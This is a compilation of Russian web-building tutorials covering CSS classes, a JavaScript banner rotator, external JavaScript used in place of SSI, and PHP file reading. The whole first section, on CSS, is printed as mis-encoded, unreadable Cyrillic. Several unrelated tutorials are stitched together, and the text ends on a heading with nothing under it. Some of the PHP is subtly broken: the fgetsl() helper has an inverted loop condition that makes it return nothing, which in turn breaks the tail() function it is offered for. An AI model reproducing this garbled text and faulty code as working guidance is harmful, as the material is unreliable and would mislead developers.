.small {FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}

 ЬФП ПВПЪОБЮБЕФ, ЮФП ФЕЗЙ, Ч ЛПФПТЩЕ ЧЛМАЮЕОП "class="small""
, ВХДХФ РПЛБЪЩЧБФШ ОБН УЧПЕ ФЕЛУФПЧПЕ УПДЕТЦЙНПЕ ЙНЕООП Ч ФПН ЧЙДЕ, ЛПФПТЩК РТПРЙУБО Ч ЬФПН БВЪБГЕ. фП ЕУФШ, ОБ 1pt НЕОШЫЕЗП Ч ДБООПН ЛПОФЕЛУФЕ ТБЪНЕТБ :0)

ФЙРЙЮОЩК РТЙНЕТ:

<b><a href="ВМБ-ВМБ-ВМБ" class=small> ФЕЛУФ </a></b>
ЙМЙ <p class=small>ФЕЛУФ</p>
ЙМЙ <div class=small>ФЕЛУФ</div>
ЙМЙ
<td class=small...
<table class=small..
ОХ Й Ф.Р.

фПЮОП ФБЛ ЦЕ ЧОХФТШ ФЕЗПЧ НПЦОП ПДОПЧТЕНЕООП Й РП ОЕУЛПМШЛХ ЪБРЙИЙЧБФШ ФЕЗЙ ТБЧОЕОЙС... ФЙРБ align=center (left, right, justify)

чПФ ЕЭЕ ПДЙО ЛМБУУ:

.large {FONT-WEIGHT: bold; FONT-SIZE: 11pt; FONT-FAMILY: Arial, Helvetica, sans-serif}

Й ЕЭЕ:
.navigation {BACKGROUND: #FFFFFF}
Й ЕЭЕ:
.navigationcell {BACKGROUND: #FFFFFF}
Й ЕЭЕ:
.micro {FONT-SIZE: 7pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}

 Б ЪБЮЕН, УПВУОБ, ОБН ЛБЦДЩК ТБЪ РЙУБФШ ФЕЗ ЧЩТБЧОЙЧБОЙС Ч УБНПК РБЗЕ РП УФП ТБЪ? нЩ ЦЕ НПЦЕН ЧРЕОДАТЙФШ ЕЗП РТСНП Ч УФЙМШ!

чПФ ФБЛЙН ПВТБЪПН РТЙНЕТОП:
.z1 {FONT-SIZE: 8pt; COLOR=#999999; FONT-WEIGHT: bold; text-align: center}
 ФПМШЛП ФХФ ПО РТПРЙУЩЧБЕФУС ОЕ РТПУФП ЛБЛ align=, Б ЛБЛ ЙНЕООП ЛБЛ text-align:

бифхоз!!! - ПВТБФЙФШ ЧОЙНБОЙЕ, ЮФП ОЕ ЮЕТЕЪ "ТБЧОП", Б ЙНЕООП ЮЕТЕЪ ДЧПЕФПЮЙЕ!!!

.t3 {FONT-SIZE: 8pt; }
Б Ч ЬФПН УМХЮБЕ НОЕ ОХЦОП ВЩМП РТПУФП ЙЪНЕОЙФШ МЙЫШ ТБЪНЕТ Й ПУФБМШОПЕ С ОЕ РТПРЙУБМ..
ЮФП Х ОБУ РПМХЮЙМПУШ Ч ЬФПН УМХЮБЕ?

тБУУНПФТЙН РТЙНЕТ ЧЪБЙНПДЕКУФЧЙС Й ЧЪБЙНПЧМЙСОЙС УФЙМЕК:
(ЕЭЕ ЬФП ОБЪЩЧБЕггБ "ОБУМЕДПЧБОЙЕН"):

ЙНЕЕН:
<div class="micro">
ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ
    <p class="large">ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ...:0)</p>
ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ, ФЕЛУФ,
</div>

рТЙОГЙР СУЕО?
(дМС ФЕИ, ЛФП Ч ФБОЛЕ: - ДЕКУФЧЙЕ УФЙМС ТБУРТПУФТБОСЕггБ ОБ ЧУЕ, ЮФП ЧОХФТЙ ПВПЪОБЮЕООПЗП ПВЯЕЛФБ, еумй ЧОХФТЕООЙЕ, ЧМПЦЕООЩЕ ФЕЗЙ, ОЕ УОБВЦЕОЩ упвуфчеоощнй УФЙМСНЙ, РТПФЙЧПТЕЮБЭЙНЙ ЙМЙ ДПРПМОСАЭЙНЙ УФЙМШ ПВЯЕЛФБ. уФЙМШ РЕТЕУФБЕФ ДЕКУФЧПЧБФШ УТБЪХ РП ЪБЛТЩФЙЙ ФЕЗБ, ЕЗП УПДЕТЦБЭЕЗП, Й Ч ДЕКУФЧЙЕ ЧУФХРБЕФ УФЙМШ ПВЯЕЛФБ ВПМЕЕ "ЧЩУПЛПЗП ХТПЧОС" - ФПЗП, ЮФП ЧПЛТХЗ ЧМПЦЕООПЗП, ЙМЙ УМЕДХАЭЕЗП)
юЕН-ФП ЬФП ЧУЕ РПИПЦЕ ОБ НБФТЕЫЛХ... ьФП ЧБН ПФЧМЕЮЕООЩК ПВТБЪ - ДМС МХЮЫЕЗП РПОЙНБОЙС РТПВМЕНЩ :0)

.link {FONT-SIZE: 12; FONT-STYLE: italic}
Б ЧПФ ФХФ Х НЕОС УФПЙФ "ЙФБМЙЛ" - ЬФП ПЪОБЮБЕФ, ЮФП ФЕЛУФ ВХДЕФ РПДЧЕТЦЕО НПДЙЖЙЛБГЙЙ Ч УФЙМЕ <i></i> - ФП ЕУФШ УФБОЕФ ОБЛМПООЩН :0)

.txt {text-indent: 8pt; text-align: justify}

.com {text-indent: 10pt; FONT-STYLE: italic; text-align: justify; FONT-SIZE: 10}

Б ЧПФ ЬФЙН С ТЕЫЙМ ЧЩДЕМЙФШ МЙОЛЙ ДТХЗПЗП ФЙРБ - ФЕ, ЛПФПТЩЕ Ч НЕОАЫЛБИ ФЙРБ ЛБМЕОДБТЕК РП ДБФБН:
.t: link {COLOR: #777777;FONT-WEIGHT: bold;}
.t: visited {COLOR: #777777; FONT-WEIGHT: bold; TEXT-DECORATION: none;}
.t: active {COLOR: gray; FONT-WEIGHT: bold; TEXT-DECORATION: none;}

 ОП Ч ОЙИ ХЦЕ ВХДЕФ НЕОСФШУС Й ГЧЕФ Й ФПМЭЙОБ ВХЛЧ :0))

.t: hover {COLOR: black; FONT-WEIGHT: bold; TEXT-DECORATION: none;

 Б ЧПФ ЬФБ РТЙРЙУЛБ ЕУФШ ЖЙЮБ ЮЙУФП РМПТЕТОБС - ФП ЕУФШ Ч ДТХЗЙИ ВТПХЪЕТБИ ДБЦЕ ОЕ ПФПВТБЪЙФУС.

FILTER: dropShadow(Color=white,OffX=1,OffY=1,Positive=2 ); HEIGHT: 10}

 ьФП ОБЪЩЧБЕФУС "ЖЙМШФТ", ЧУФТПЕООБС Ч ВТПДЙМЛХ ЖЙЮБ, ПФТБЦБАЭБС ФБЛЙЕ УРЕГЬЖЖЕЛФЩ, ЛБЛ "ФЕОШ", "УЧЕЮЕОЙЕ", "РЕТЕМЙЧБОЙЕ" Й НОПЗПЕ ДТХЗПЕ :0)
тБУУНПФТЙН ЕЗПООЩЕ РБТБНЕФТЩ: (Color=ГЧЕФ ПФВТБУЩЧБЕНПК ФЕОЙ - ВЕМЩК!, OffX Й OffY - ЬФП ОБ УЛПМШЛП РЙИЕМПЧ ФЕОШ ВХДЕФ ПФУФПСФШ ПФ ВХЛЧ - Х ОБУ ЬФП ОБ РЙИЕМШ ЧРТБЧП Й ОБ РЙИЕМШ ЧМЕЧП. нПЦОП Л ГЙЖЙТЙ РТЙРПМШЪПЧБФШ ЪОБЛ "НЙОХУ" - ЬФП ДБУФ ЧЩЧЕТОХФХА ЧМЕЧП Й ЧЧЕТИ ПФ ГЙЖЙТЙ ФЕОШ :0)
"рПУЙФЙЧЕ" С, ЮЕУФОП УЛБЪБФШ, ОЕ РПНОА - РП-НПЕНХ, РМПФОПУФШ - РПЬЛУРЕТЙНЕОФЙТХКФЕ :0)

бифхоз!! - ПВТБФЙФШ ЧОЙНБОЙЕ, ЮФП УХВРБТБНЕФТЩ ЧЪСФЩ Ч ( ) Й ПРПУМС ОЙИ ЙДЕФ - ";" - ФПЮЛБ У ЪБРСФПК. ъБЛТЩЧБЕФ ЛБУЛБД ЧУЕ ФПФ ЦЕ }

РБТБНЕФТЩ ЧОХФТЙ {} ТБЪДЕМСАФУС ПРСФШ ЦЕ ";" ОП ПРПУМС РПУМЕДОЕЗП РБТБНЕФТБ РЕТЕД УБНПК "}" ФПЮЛБ У ЪБРСФПК ЧПЧУЕ ОЕ ПВСЪБФЕМШОЩ.

ОХ, ЧПФ УПВУОП Й ЧУЕ УБНПЕ ПУОПЧОПЕ РТП CSS. оБ ЖЙМШФТБИ С ВПМЕЕ РПДТПВОП ПУФБОБЧМЙЧБФШУС ОЕ ВХДХ, РПУЛПМШЛХ ПОЙ РТЙЗПДОЩ Ч ПУОПЧОПН ФПМШЛП ДМС РМПТЕТБ, Б УМЕДПЧБФЕМШОП, УЕТШЕЪОПНХ ЧЕВПДЕМХ ОБЖЙЗ ОЕ УДБМЙУШ - РТЙ ЧУЕК РТЙСФОПУФЙ ОЕФ УНЩУМБ ЧПЪЙФШУС У ФЕН, ЮФП ЧЙДОП ДБМЕЛП ОЕ ЧУЕН РПУЕФЙФЕМСН.

 пУФБМПУШ ФПМШЛП РПСУОЙФШ, ЮФП ЧНЕУФП ФПЗП, ЮФПВЩ МЕРЙФШ ЧПФ ФБЛЙЕ "НОПЗПФПНОЙЛЙ" Ч ЛБЦДХА ПРСФШ ЦЕ РБЗХ, НПЦОП ИТБОЙФШ ОБ УБКФЕ ЧУЕЗП пдйо ЕДЙОУФЧЕООЩК ЖБКМ, ЧЩЪЩЧБФШ ЛПФПТЩК ЙЪ ЛБЦДПК РПФТЕВОПК РБЗЙ. йМЙ - ИТБОЙФШ ФБЛЙИ УФЙМЕК ОЕУЛПМШЛП - ДМС ХДПВУФЧБ ЙМЙ ДЙЪЙЗОБ: ОБ ПДОПК РБЗЕ ФБЛ, ОБ ДТХЗПК - ЬФБЛ.

рПДЛМАЮБЕФУС ПОП ФБЛ: РЙЫЕН ЬФХ ЗБМЙНБФША Ч ФЕЛУФПЧЩК ЖБКМ, РТСНП Ч ВМПЛОПФЕ - ЬФП РТПЭЕ! Й УПИТБОСЕН ОБ УБКФЕ ЛБЛ "ЙНСТЕЛ.css"
пРПУМС УЕЗП ПФЛТЩЧБЕН РБЗХ Й Ч УБББНПН ОБЮБМЕ РПД ФЕЗПН </head>
ЧУФБЧМСЕН ЧПФ ФБЛПЕ:
<LINK href="/РХФШ/ЙНСТЕЛ.css" type=text/css rel=stylesheet>
НЕОСФШ Ч ЬФПК УФТПЛЕ НПЦОП ФПМШЛП РХФШ Л ЖБКМХ УФЙМС Й ОБЙНЕОПЧБОЙЕ УБНПЗП ЖБКМБ.
фЕН, ЛФП Ч ФБОЛЕ: чуе, УПЧЕТЫЕООП ЧУЕ ЙНЕОБ ЖБКМб ОБ ЧБЫЕН УБКФЕ ДПМЦОЩ ВЩФШ ОБВТБОЩ ЙУЛМАЮЙФЕМШОП МБФЙОЙГЕК, ФП ЕУФШ мбфйойгек.

рТЙ РПНПЭЙ УФЙМЕК НПЦОП ДЕМБФШ Й ЛХЮХ ХЛТБЫБФЕМШУФЧ: ОБРТЙНЕТ, ФБВМЙГЩ ОЕ УРМПЫОПК МЙОЙЕК, Б РХОЛФЙТПН ЙМЙ ФПЮЛБНЙ:

1
2

ч РЕТЧПН УМХЮБЕ Х ОБУ РТЙНЕОЕО ЧУФБЧМЕООЩК Ч ОБЮБМП ФБВМЙГЩ ФЕЗ
style="border: dotted 1pt; border-color: gray;

чП ЧФПТПН УМХЮБЕ ЧНЕУФП dotted ЪОБЮЙФУС dashed
рПУМЕ ЬФЙИ ФЕЗПЧ УФБЧЙН ТБЪНЕТ ОБЫЙИ ФПЮЕЛ ЙМЙ ФЙТЕ - Й РТПЧЕТСЕН ЛБЛ УНПФТЙФУС.
ьФЙНЙ ЦЕ УФЙМСНЙ НПЦОП РТЕПВТБЪЙФШ Й ЛОПРЛЙ, Й ФЕЗ HR -
вМБЗПДБТС УФЙМСН НПЦОП ДБЦЕ УУЩМЛЙ РПДЮЕТЛЙЧБФШ РХОЛФЙТПН, ЛБЛ УЕКЮБУ ЧИПДЙФ Ч НПДХ.
б ЕЭЕ, ОЕЛПФПТЩЕ ВТПДЙМЛЙ РПЪЧПМСАФ РЕТЕЛМАЮБФШ УФЙМЙ, ЮФП РТЙ ЗТБНПФОПН ЙИ ОБРЙУБОЙЙ НПЦЕФ УМХЦЙФШ УЧПЕПВТБЪОЩНЙ "УЛЙОБНЙ" УБКФХ. уНЕОЙМ УФЙМШ - РПНЕОСМПУШ ЧУЕ - ТБУЛТБУЛБ, ТБНЛЙ, ЫТЙЖФ Й Ф.Р. пЮЕОШ ХДПВОП Й РТЙСФОП.
дБ, ЮХФШ ОЕ ЪБВЩМ... ФЕЗ <H1></H1>, РТП ЛПФПТЩК С ПВЕЭБМ ТБУУЛБЪБФШ РПДТПВОЕЕ, ФБЛ ЧПФ: НОПЗЙЕ РПЙУЛПЧЙЛЙ РПМПЦЙФЕМШОП ЧПУРТЙОЙНБАФ ЪБЗПМПЧЛЙ, РТПРЙУБООЩЕ Ч ЬФПН ФЕЗЕ. рТЙЮЕН, ЮЕН НЕОШЫЕ ГЙЖТБ ФЕЗБ, ФЕН ЧЩЫЕ "РТЙПТЙФЕФ" ЬФПЗП ЪБЗПМПЧЛБ. чУЕЗП ЙИ 6, У H1 РП H6. H6 УБНЩК НЕМЛЙК Й ВПМЕЕ ЙМЙ НЕОЕЕ ЧРЙУЩЧБЕФУС Ч ДЙЪБКО, Б ЧПФ H1 ОПТПЧЙФ ТБУФСОХФШУС Ч ЮЕТФ-ФЕ ЛБЛЙЕ ЧЕМЙЮЙОЩ
- ЧПФ ФБЛЙНЙ ВХЛЧБНЙ. оП ЮФП ЦЕ ДЕМБФШ? чЕДШ ДМС ХЧЕМЙЮЕОЙС ОБИПДЙНПУФЙ ОБН ОХЦЕО ЬФПФ ФЕЗ! рТЙ ЧУЕК ЕЗП ОЕХДПВПЧБТЙНПУФЙ Й ОЕЦЕМБОЙЙ ЧРЙУЩЧБФШУС Ч ДЙЪБКО ПО РТЙОПУЙФ ОЕРМПИПЕ ЛПМЙЮЕУФЧП "ПЮЛПЧ" РПМШЪЩ РЕТЕД РПЙУЛПЧЙЛБНЙ. й ФХФ ОБН РПНПЗХФ УФЙМЙ. рТПРЙУЩЧБЕН Ч CSS ЧПФ ФБЛПК ЛБУЛБД:

H1{FONT-SIZE:10pt; COLOR:#666666; font-style: normal; line-height: 16px; font-weight: bold; margin: 0px; padding: 0px;}

ЪБЗПМПЧПЛ
ЧФПТПК ЪБЗПМПЧПЛ

- ЛБЛ ЧЙДЙФЕ НПЦОП Й H1 ХЛТПФЙФШ ФБЛ, ЮФПВЩ ПО ПФПВТБЦБМУС ОЕ ЛТХРОЕЕ ПВЩЮОПЗП ФЕЛУФБ Й ДБЦЕ ПФУФХРПЧ, ПВЩЮОЩИ ДМС ОЕЗП, УЧЕТИХ Й УОЙЪХ ОЕ ВХДЕФ :0) ъБ ЬФПФ РБТБНЕФТ ПФЧЕЮБЕФ УТБЪХ ЗТХРРБ ОБУФТПЕЛ:
line-height: 16px; - ЬФП Х ОБУ ЧЩУПФБ ФПЗП РТПУФТБОУФЧБ, Ч ЛПФПТПН ТБУРПМБЗБЕФУС УФТПЛБ. оЕ ЫТЙЖФБ, Б ЧУЕК УФТПЛЙ! фП ЕУФШ РПУФБЧЙН ЕЗП, ОБРТЙНЕТ, 10 - РПМХЮЙН ОБРПМЪБОЙЕ ФЕЛУФБ:

line-height: 30px;
line-height: 8px;

ЪБЗПМПЧПЛ
ЧФПТПК ЪБЗПМПЧПЛ

ЪБЗПМПЧПЛ
ЧФПТПК ЪБЗПМПЧПЛ

font-weight: bold; - ЬФПФ ФЕЗ ДЕМБЕФ ЪБЗПМПЧЛЙ ЧЩДЕМЕООЩНЙ ЦЙТОЩН
margin: 0px; - ПФУФХР ПФ ЧЕТИОЕЗП МЕЧПЗП ХЗМБ СЮЕКЛЙ
padding: 0px; - ПФУФХР ЧОХФТЙ СЮЕКЛЙ ПФ ЧУЕИ ЛТБЕЧ, РТПЙЪЧПДЙФ РПЮФЙ ФПФ ЦЕ УБНЩК ЬЖЖЕЛФ, ЮФП Й margin

margin: 0px;
margin: 30px;

ЪБЗПМПЧПЛ
ЧФПТПК ЪБЗПМПЧПЛ

ЪБЗПМПЧПЛ
ЧФПТПК ЪБЗПМПЧПЛ

фЕРЕТШ П ФПН, ЛБЛ ЬФП ЧУЕ РТЙГЕРМСЕФУС Л УБКФХ. иТБОЙФУС CSS ПВЩЮОП Ч ПФДЕМШОПН ЖБКМЕ, ЛПФПТЩК ВТПХЪЕТ Й УЮЙФЩЧБЕФ РТЙ ПФПВТБЦЕОЙЙ УФТБОЙЮЕЛ ЧБЫЕЗП УБКФБ. юФПВЩ CSS ПЛБЪЩЧБМ ЧПЪДЕКУФЧЙЕ ОБ УПДЕТЦЙНПЕ УФТБОЙЮЛЙ, Ч ОБЮБМЕ ЕЕ ЧУФБЧМСЕН ЧПФ ФБЛПК ЧЩЪПЧ:
<link href="/РХФШ/ЙНС ЖБКМБ.css" rel="stylesheet" type="text/css">
РТПРЙУБФШ ЕЗП ОБДП НЕЦДХ ФЕЗПН <html> Й ФЕЗПН <body>. еУМЙ ЦЕ ВПМШЫПК ОХЦДЩ Ч НПЭОПК Й УМПЦОПК ФБВМЙГЕ УФЙМЕК ОЕФ Й ОХЦОП МЙЫШ ЕДЙОПТБЪПЧП РПДРТБЧЙФШ ЛБЛПК-ФП ЬМЕНЕОФ, ДПУФБФПЮОП ЧУФБЧЙФШ Ч УППФЧЕФУФЧХАЭЙК ФЕЗ "style="РБТБНЕФТЩ" - ОБРТЙНЕТ ЧПФ:

<table width="100%" height="410" border="0" cellpadding="14" cellspacing="0" class="txt" style="border: dashed 1pt; border-color: gray; border-top: none; border-bottom: none;">

ьФБ УФТПЛБ ЪБЗПМПЧЛБ ФБВМЙГЩ. чУФТПЕОЩК УФЙМШ Ч ОЕК "ХВЙТБЕФ" ЧЕТИОАА Й РТБЧХА ЗТБОЙГЩ, ПУФБЧМСС ФПМШЛП МЕЧХА Й РТБЧХА.


Хотите собственную баннерокрутилку?

Большенсво крупных крутилок используют IFRAME , а как известно NN этот тег не понимает.
Чтобы создать крутилку не нужно наворотов, типа поддержки CGI. Нужно только желание.
Принцип очень прост - использование внешне подключаемого javascript'a. Вы будете давать участникам путь к этому скрипту.
Вот небольшой пример:
Создайте документ с расширение .js

<!-- link = new Array(5);

link[0] = ' <a href="http://www.ru">Ссылка #1 </a> ';
link[1] = ' <a href="http://www.ru">Ссылка #2 </a> ';
link[2] = ' <a href="http://www.ru">Ссылка #3 </a> ';
link[3] = ' <a href="http://www.ru">Ссылка #4 </a> ';
link[4] = ' <a href="http://www.ru">Ссылка #5 </a> ';
banner = Math.floor(Math.random() * link.length);

document.write(' '+link[banner]+' ');
//-->

Чтобы "включить" этот скрипт нужно в нужном месте вставить это:
<SCRIPT SRC="путь к скрипту\этот скрипт.js" TYPE="text/JavaScript"></SCRIPT>

Эту часть вы будете давать своим участникам для размещения у себя на странице. Вместо текстовой можно вcтавить и баннер. Экспериментируйте.
Готовы пример можете увидеть у меня на сайте http://prikol.bos.ru - там есть текстовая и баннерная крутилка.
Если вам нужно заключить сслыку в таблицу или в другие теги, попробуйте вставить их в скрипт, чтобы какая-то часть не вылезла в броузерах не поддерживающих ява скрипты( у меня на сайте это текстовая крутилка).

document.write(' <b> ');
document.write(' '+link[banner]+' ');
document.write(' </b> ');

ну и в таком роде... Этот пример работает в браузерах с поддержкой ява скриптов. Эсли поддержки нет, то просто ничего не отобразится.


Как обойтись без использования SSI

Вот типичная ситуация: Вы, полный желанием и фантазией, хотите сделать свой сайт. Вот Вы уже начали делать HTML странички, но перед Вами встал серьёзный вопрос, на какой сервер помещать сайт? Естественно Вы не будет платить деньги за представленное место на диске сервера, а следовательно будет искать подходящий бесплатный хостинг. Самыми распространёнными бесплатными серверами на сегодняшний день являются Народ, BOOM, NewMail, Chat и др. На них нельзя использовать CGI скрипты и SSI, так что если у Вас на сайте к примеру на каждой страничке одна и та же менюшка, то Вам придётся вставлять её в каждый файл. Но более страшная ситуация настанет, если Вы уже имеете окола ста страниц с этой менюшкой и Вам потребовалось добавить в неё новый раздел. Вас ждёт долгое и мучительное исправление страниц, а затем закачивание их на сервер.

Умные люди уже давно придумали директиву SSI #include, которая на стороне сервера (т.е. ещё до того, как страничка дошла до пользователя) вставляет внутрь HTML файла в указанном месте содержимое другого файла, в котором и лежит эта самая менюшка, и пользователю приходит файл, в содержимом которого уже есть меню. Но ведь использование такой замечательной директивы запрещено на большинстве бесплатных хостингов.

Вместо SSI можно воспользоваться обычным JavaScript. Он выполняется на стороне пользователя (т.е. уже на компьютере человека, после того как к нему пришла страничка). Вот как это работает: сначала страничка запрашивает файл с Java-скриптом, как, например, обычный рисунок, затем скрипт печатает в браузере определённый текст, например менюшку.

Этот текст выводит строчку с e-mail'ом автора страницы.

<html><body>
<i>Содержимое страницы, какие-нибудь тексты и т.д.</i>
<script language=JavaScript>
document.write ('<br>О жалобах и предложениях пишите на ',
'<a href=mailto:vasya@pupkin.ru>vasya@pupkin.ru</a>')
</script>
</html></body>

Содержимое страницы, какие-нибудь тексты и т.д.

Даже ежу понятно, что document.write () - это метод объекта document для вывода текста. Если текст для вывода не помещается в одну строчку, его можно перенести, поставив кавычку и запятую, а на следующей строчке опять поставить кавычку и продолжить текст. Прошу заметить, что в тексте для вывода можно использовать HTML тэги!

Итак, мы заменили обычный HTML код на JavaScript. Теперь вынесём код скрипта в отдельный файл и назовём его скажем my_e-mail.js

Вот содержимое этого файла:

document.write ('<br>О жалобах и предложениях пишите на ',
'<a href=mailto:vasya@pupkin.ru>vasya@pupkin.ru</a>')

Обратите внимание, что в файле тэг <script language=JavaScript> писать не надо.

Теперь исправляем HTML страничку следующим образом:

<html><body>
<i>Содержимое страницы, какие-нибудь тексты и т.д.</i>
<script language=JavaScript src=my_e-mail.js></script>
</html></body>

Результат этого кода в сочетании с файлом my_e-mail.js даст тот же результат, что и в первом примере, так что теперь вставляя строчку <script language=JavaScript src=my_e-mail.js></script> в любом месте страницы, будут выведен e-mail автора. Впоследствии он может измениться и нужно будет исправить только файл с JavaScript'ом. В этом и директива #unclude и JavaScript одтнаковы. Но у скрипта есть свои приемущества и недостатки. Начнём с недостатков: 1) если поисковая машина начнёт закачивать этот файл, то в нём не будет содержимого Java-скрипта, а следовательно индексация страницы будет происходить плохо (естественно не всей страницы, а только текста этого скрипта). Приемущества: 1) JavaScript работает во всех браузерах, 2) файл скрипта сохраняется в Temperatoty Internet Files, а значит при обращении к этой же странице или к другой, но использующую этот же скрипт, он будет не скачиваться заново, а загрузится из временных файлов интернет. Это особенно хорошо, если файл занимает 20 КБ и более.

Теперь рассмотрим конкретный случай. Например вы делаете страницу, которая соответствует следующему шаблону:

Логотип | Баннер 468x60
Меню Раздел #1 Раздел #2 Раздел #3 | Текст страницы или что-нибудь ещё. Текст страницы или что-нибудь ещё.

О жалобах и предложениях пишите на vasya@pupkin.ru

Вот HTML текст шаблона:

<table align=center width=300 bordercolor=#C0C0C0 border=1 cellspacing=0 cellpadding=5>
<tr>
<td><img alt="Логотип" width=100 height=50></td>
<td><img alt="Баннер 468x60" width=200 height=26></td>
</tr>
<tr>
<td><b>Меню</b><br>
<a href=#>Раздел #1</a><br>
<a href=#>Раздел #2</a><br>
<a href=#>Раздел #3</a>
</td>
<td>Текст страницы или что-нибудь ещё. Текст страницы или что-нибудь ещё.</td>
</tr>
</table><br>
<center>О жалобах и предложениях пишите на
<a href=mailto:vasya@pupkin.ru>vasya@pupkin.ru</a></center>

Если посмотреть на шаблон, то можно сразу сказать, что нужно не менее четырёх скриптов: одни на логотип, другой на баннер 468x60, третий на меню, а четвёртый на e-mail. Но если Вы внимательно посмотрели код шаблона, то наверное заметили, что можно обойтись всего двумя скриптами. Посмотрев этот же код но с разметками начала и конца Java-скриптов всё станет ясно.

НАЧИНАЕТСЯ ПЕРВЫЙ СКРИПТ
<table align=center width=300 bordercolor=#C0C0C0 border=1 cellspacing=0 cellpadding=5>
<tr>
<td><img alt="Логотип" width=100 height=50></td>
<td><img alt="Баннер 468x60" width=200 height=26></td>
</tr>
<tr>
<td><b>Меню</b><br>
<a href=#>Раздел #1</a><br>
<a href=#>Раздел #2</a><br>
<a href=#>Раздел #3</a>
</td>
<td>
КОНЧАЕТСЯ ПЕРВЫЙ СКРИПТ

Текст страницы или что-нибудь ещё. Текст страницы или что-нибудь ещё.

НАЧИНАЕТСЯ ВТОРОЙ СКРИПТ
</td>
</tr>
</table><br>
<center>О жалобах и предложениях пишите на
<a href=mailto:vasya@pupkin.ru>vasya@pupkin.ru</a></center>
КОНЧАЕТСЯ ВТОРОЙ СКРИПТ

На скрипты текст разбит, осталось только написать document.write и выделить его в кавычки.

НАЧИНАЕТСЯ ПЕРВЫЙ СКРИПТ
document.write('<table align=center width=300 bordercolor=#C0C0C0 border=1 cellspacing=0 cellpadding=5>',
'<tr>',
'<td><img alt="Логотип" width=100 height=50></td>',
'<td><img alt="Баннер 468x60" width=200 height=26></td>',
'</tr>',
'<tr>',
'<td><b>Меню</b><br>',
'<a href=#>Раздел #1</a><br>',
'<a href=#>Раздел #2</a><br>',
'<a href=#>Раздел #3</a>',
'</td>',
'<td>')
КОНЧАЕТСЯ ПЕРВЫЙ СКРИПТ

Текст страницы или что-нибудь ещё. Текст страницы или что-нибудь ещё.

НАЧИНАЕТСЯ ВТОРОЙ СКРИПТ
document.write('</td>',
'</tr>',
'</table><br>',
'<center>О жалобах и предложениях пишите на ',
'<a href=mailto:vasya@pupkin.ru>vasya@pupkin.ru</a></center>')
КОНЧАЕТСЯ ВТОРОЙ СКРИПТ

Таким образом, если у Вас произойдет какие-либо изменения в дизайне или в расположении элементов, Вам нужно будет просто изменить 2 JavaScript'а.

Вот пожалуй и всё.


PHP

Работа с файлами в PHP

А пока немного о файлах. Внешний по отношению к скрипту файл можно включить в скрипт функцией include(). Но всегда хочется большего. Например, вы гениальный дизайнер, вы нарисовали шикарный сайт некой фирме, но вам очень не хочется обновлять каждую неделю их прайс-лист. Вы можете за обновление брать деньги, но много денег за это брать стыдно (я надеюсь), а повозиться придется. Как быть? А как готовят прайс-лист в той фирме? Скорее всего, у них есть некая таблица в неком табличном редакторе типа 1-2-3 или Excel. Вот его бы и положить на сайт... Но файл этот хитрого формата, да и размера немалого.

Владея PHP, вы можете легко уйти от рутины. Любой табличный процессор позволяет сохранять листы как текст с разделителями-табуляциями. А вот как такой файл красиво вывести в виде таблицы со строчками разного цвета:

<?
 $fp=fopen('файл.tsv','r'); // Откроем этот файл из-под Excel
 if ($fp) :
?>
<table border=0 cellpadding=2 cellspacing=0>
<?
 for ($i=0; !feof($fp); $i++) : // пока не конец файла
  // читаем строку, отрезаем пробелы в конце и разбиваем ее на поля.
  list($a,$b,$c)=split("\t",chop(fgets($fp,1000)));
?>
<tr bgcolor=»#<? echo $i%2?'f0f0f0':'ffffff' ?>»>
<td><? echo $a ?></td>
<td><? echo $b ?></td>
<td><? echo $c ?></td>
</tr>
<? endfor ?>
</table>
<? fclose($fp); endif ?>
PHP имеет достаточное количество встроенных функций для работы с файлами, но частенько хочется этот набор несколько расширить. Например как сделать www-чат? В теории все просто, все посетители пишут в один файл и читают последние N строк этого файла. Конечно, хотелось бы читать этот файл не последовательно с начала. Я предлагаю вашему вниманию функцию tail(), которая работает очень быстро не зависимо от размеров читаемого файла.

<?
if (!$tail_inc) : // Чтобы не включать файл дважды
$tail_inc=1;
function tail($file,$num) {
 // читаем $num последних строк файла $file
 global $tail_start_buf; // предполагаемая длина строки
 if ($tail_start_buf==0) $tail_start_buf=80;
 $appxlen=$tail_start_buf;// примерная длина строки для расчета
 $flen=filesize($file); // длина файла
 $out=array(); // то, что вернется
 $fp=@fopen($file,'r');
 if ($fp) {
 do {
  // вычисляем, откуда читать файл
  if ($num*$appxlen>$flen) $pos=0;
  else $pos=$flen-($num*$appxlen);
  $out=_readfile($fp,$pos,$num); // читаем строчки до конца файла
   // на следующий цикл длиной строки считаем удвоенную среднюю
      прочитанную
  $appxlen=($flen-$pos+1)*$num*2/count($out); // *!*
 } while (count($out)!=$num && $pos!=0);
 fclose($fp);
 }
 return $out;
}
// вспомогательная функция
// читает файл $fp с позиции $pos и максимум $num строк
function _readfile($fp,$pos,$num) {
 fseek($fp,$pos); // позиционируем файл
 $tmp=array(); // временный массив
 while (!feof($fp)) { // читаем файл до конца
  $line=chop(fgetsl($fp)); // *!!*
 $tmp[]=$line;
 }
 $j=count($tmp)-$num; // кол-во лишних строк
 if ($pos!=0 && $j==0) { // если ровно сколько надо строк,
  $j++; // пропустить первую неполную
 }
 if ($j<0) { // если не хватает строк,
  $j=0; // выводить все
  $xnum=$num-1;
 } else $xnum=$num;
  // переписать в выводной массив нужные строки.
  for ($i=0; $i<$xnum && $j<count($tmp); $i++,$j++)
   $out[$i]=$tmp[$j];
   return $out;
  }
 endif; // if (!$tail_inc)
?>
Я не буду утверждать, что это лучший на свете алгоритм, и принимаю все предложения по его улучшению. Есть два замечания сразу.

*!* Здесь вычисляется средняя длина строки для следующего цикла. У меня это отлично работало и при $appxlen*=2, но так, наверно, быстрее будет. *!!* Здесь я применил функцию fgetsl(), но это особый разговор.

Функция чтения строки из файла имеет ограничение на длину считываемой строки. А думать о длинах строк при написании гениальных скриптов не хочется. Как быть? Я предлагаю небольшую функцию, аналогичную fgets(), но без неприятного ограничения:

<?

function fgetsl($fp) {

while (!feof($fp) && strchr($out,"\n")) $out.=fgets($fp,1000);

return $out;

}

?>
Авторизация посетителя сайта на PHP

